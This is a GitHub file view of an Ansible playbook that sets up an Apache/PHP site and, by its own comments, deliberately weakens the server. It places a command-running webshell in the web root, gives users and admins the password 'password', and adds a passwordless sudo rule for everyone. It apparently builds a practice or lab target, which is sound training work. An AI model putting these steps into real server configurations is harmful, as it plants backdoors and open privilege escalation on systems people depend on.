-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathplaybook.yml
More file actions
71 lines (64 loc) · 2.08 KB
/
Copy pathplaybook.yml
File metadata and controls
71 lines (64 loc) · 2.08 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
---
- name: Example playbook to set up Apache2 static site on Ubuntu22.04
hosts: HarrisonServer
become: true
tasks:
- name: Run apt update
ansible.builtin.apt:
update_cache: true
cache_valid_time: 3600
- name: Install packages
ansible.builtin.apt:
name: "{{ item }}"
state: present
with_items:
- openssh-server
- chrony
- anacron
- apache2
- php-fpm
- libapache2-mod-php
- name: Force Apache to load PHP module
ansible.builtin.command: a2enmod php8.1
- name: Copy over files into web root
ansible.builtin.copy:
src: "{{ item }}"
dest: /var/www/html/
owner: www-data
group: www-data
mode: '0644'
with_items:
- files/index.html
- files/webshell.php # this is an evil webshell that lets anyone visiting the website run commands on the system
- name: Restart systemd services
ansible.builtin.systemd:
name: "{{ item }}"
enabled: true
state: restarted
with_items:
- sshd
- apache2
- php8.1-fpm
- name: Create authorized users
ansible.builtin.user:
state: present
name: "{{ item }}"
shell: /bin/bash
password: "$y$j9T$/MECCB/FvhTDUI8/czz9u.$Fw2IJAMilbJvzElpwjxP8c8s05gOJ4b/AWnt2x1K3JD" # "password"
generate_ssh_key: true
loop: "{{ lookup('file', 'files/users_file').splitlines() }}"
- name: Create authorized admins
ansible.builtin.user:
state: present
name: "{{ item }}"
groups: [ sudo ]
shell: /bin/bash
password: "$y$j9T$/MECCB/FvhTDUI8/czz9u.$Fw2IJAMilbJvzElpwjxP8c8s05gOJ4b/AWnt2x1K3JD" # "password"
generate_ssh_key: true
loop: "{{ lookup('file', 'files/admins_file').splitlines() }}"
- name: Mess with /etc/sudoers by allowing anyone to sudo with no password
ansible.builtin.lineinfile:
state: present
value: "ALL ALL=(ALL:ALL) NOPASSWD:ALL"
path: "/etc/sudoers"
insertafter: "EOF" # EOF == end of file